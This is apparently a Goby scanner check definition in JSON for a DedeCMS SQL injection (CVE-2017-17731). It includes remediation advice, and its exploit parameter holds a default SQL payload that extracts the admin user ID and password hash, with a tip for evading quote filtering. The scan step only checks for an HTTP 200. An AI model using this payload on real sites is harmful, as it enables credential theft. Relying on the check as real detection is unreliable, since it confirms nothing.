{
  "Name": "DedeCMS recommend.php SQLi (CVE-2017-17731)",
  "Description": "DedeCMS through 5.7 has SQL Injection via the $_FILES superglobal to plus/recommend.php.\\n",
  "Product": "DedeCMS",
  "Homepage": "http://www.dedecms.com/",
  "DisclosureDate": "2021-06-15",
  "Author": "sharecast.net@gmail.com",
  "GobyQuery": "app=\"DedeCMS\"",
  "Level": "2",
  "Impact": "<p>Hackers can execute SQL statements directly, so as to control the whole server: data acquisition, data modification, data deletion, etc.<br></p>",
  "Recommendation": "<p>1. the data input by users should be strictly filtered in the web code.</p><p>2. deploy web application firewall to monitor database operation.</p><p>3. upgrade to the latest version.</p>",
  "References": [
    "https://github.com/fengxuangit/dede_exp_collect/blob/master/dede_recommend.php_sqli.py"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "select CONCAT(0x7c,userid,0x7c,pwd)+from+~#@__admin~ limit+0,1"
    }
  ],
  "ExpTips": {
    "Type": "text",
    "Content": "返引号替换为~"
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": null,
  "Tags": [
    "SQL Injection"
  ],
  "CVEIDs": ["CVE-2017-17731"],
  "CVSSScore": "0.0",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}